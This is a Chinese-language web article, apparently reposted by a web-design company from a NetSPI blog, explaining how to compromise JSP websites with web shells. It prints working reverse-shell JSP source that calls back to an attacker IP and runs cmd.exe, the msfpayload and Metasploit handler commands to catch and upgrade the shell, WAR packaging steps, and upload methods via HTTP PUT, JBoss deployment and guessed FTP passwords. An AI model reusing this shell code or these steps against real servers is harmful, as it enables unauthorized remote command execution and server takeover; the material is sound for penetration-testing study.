什么是WebShell
创新互联一直秉承“诚信做人,踏实做事”的原则,不欺瞒客户,是我们最起码的底线! 以服务为基础,以质量求生存,以技术求发展,成交一个客户多一个朋友!为您提供成都网站制作、网站设计、成都网页设计、小程序定制开发、成都网站开发、成都网站制作、成都软件开发、成都app软件开发是成都本地专业的网站建设和网站设计公司,等你一起来见证!
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器…
现如今,使用JSP开发的的网站越来越多,很多大公司的数据中心也会使用这种架构。在我的渗透经验之中,拿下JSP网站的主要方法就是上传Shell从而执行命令。在下面的文章中我将举两个JSP shell code的例子,和几个常见的上传shell的方法。
JSP Shell
对于不怎么熟悉Web Shell的人来说,我前文指的JSP Shell是一段"Java Server Page"这段代码可以允许任何指令在服务器上执行。一般来说,Shell通过一个HTML from来接受需要执行的指令。下面,我对于每个例子都会给出基本的Shell代码。我个人比较喜欢用,Metasploit JSP shells,因为它具有很好的稳定性和清爽的界面。
基本JSP shell
这是一个最简单的 JSP Shell,使用方法如下。
(1)保存为cmd.jsp上传到服务器。
(2)访问这个页面,执行命令。
Metasploit JSP Shell
在攻击中使用Metasploit JSP Shell大概需要六步。
(1)使用msfpayload创建一个cmd.jsp
(2)上传cmd.jsp到服务器
(3)运行Metasploit multi-handler
(4)访问cmd.jsp
(5)获得shell
(6)如果是windows,升级到meterpreter shell
创建一个JSP Shell可以使用如下的命令,LHOST代表了自己主机的地址。
ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp
上面的指令成功执行之后,Metasploit会生cmd.jsp的源代码,有些情况下你可能需要修改其中的一些变量来绕过防火墙的检测。
- <%@page import="java.lang.*"%>
- <%@page import="java.util.*"%>
- <%@page import="java.io.*"%>
- <%@page import="java.net.*"%>
- <% class StreamConnector extends Thread
- {
- InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os )
- {
- this.is = is;
- this.os = os;
- }
- public void run()
- {
- BufferedReader in = null;
- BufferedWriter out = null;
- try { in = new BufferedReader( new InputStreamReader( this.is ) );
- out = new BufferedWriter( new OutputStreamWriter( this.os ) );
- char buffer[] = new char[8192];
- int length;
- while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
- {
- out.write( buffer, 0, length );
- out.flush();
- }
- }
- catch( Exception e ){} try { if( in != null ) in.close();
- if( out != null ) out.close();
- }
- catch( Exception e ){}
- }
- } try { Socket socket = new Socket( "192.168.100.110", 53 );
- Process process = Runtime.getRuntime().exec( "cmd.exe" );
- ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
- ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
- }
- catch( Exception e ) {}
- %>
之后就是把cmd.jsp文件上传到目标服务器。假设上传后的地址是,http://www.victim.com/cmd.jsp之后就开始运用Metasploit multi handler,打开msfconsole使用如下命令。
use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z
最后访问 http://www.victim.com/cmd.jsp ,msfconsole就会受到反弹回来的链接。
你可以通过以下的指令访问这条shell
sessions –I 1
如果目标主机是一个windows主机,可以用以下的指令吧shell升级成一个meter-preter shell
sessions –U 1
打包JSP Shells
有些情况下,需要把cmd.jsp打包成一个WAR文件(比如JBoss).在windows环境下,需要如下几步。
(1)安装JDK
(2)新建 WEB-INF目录
(3)在 WEB-INF/web.xml 中输入如下内容
- xsi:schemalocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4">
Command /cmd.jsp
(4)使用如下命令可以把jsp,文件打包成jar包。
"C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe" cvf cmd.war WEB-INF cmd.jsp
Shell上传
使用PUT方法
PUT方法是HTTP的一个扩展协议,允许用户向服务器上传文件。很久以前这个漏洞还是很流行的。
基本所有扫描工具都可以,扫描到这个漏洞,也可以通过ncat之类的工具找到这个漏洞。我比较喜欢
使用burp,使用burp检测这个漏洞,需要如下几步。
(1) 进入repeater tab选项卡
(2) 构造如下文件头
PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0
(3) 在文件头下面连续输入两次回车之后输入JSP shell code。
(4) 在burp下提交构造好的包。
上传方式
一般情况下,网站对于上传文件的类型都有很严格的控制,但攻击者仍然有几种方法来绕过他们。这里就不详细叙述了。
发布WAR文件
有一些服务器软件会使用到WAR,其中一些会提供用户上传WAR文件的接口。有些会允许用户使用一些外部源。Josh Abraham 写了一些jBoss metasploit exploits,叫做jboss_maindeployer。这里还有一篇比较不错的paper来讲针对jBoss的攻击。
文件共享
有的时候,网站的主目录会被部署到ftp服务器上,如果能猜到密码或者是ftp使用了默认的密码。就可以通过ftp来上传shell。
其实这是一篇科普文。最后对于文件上传技巧的叙述比较冗长有删节。
原文地址:https://www.netspi.com/blog/entryid/126/hacking-with-jsp-shells
当前题目:外国大牛教你玩转JSPShell
新闻来源:http://www.shufengxianlan.com/qtweb/news28/531578.html
网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联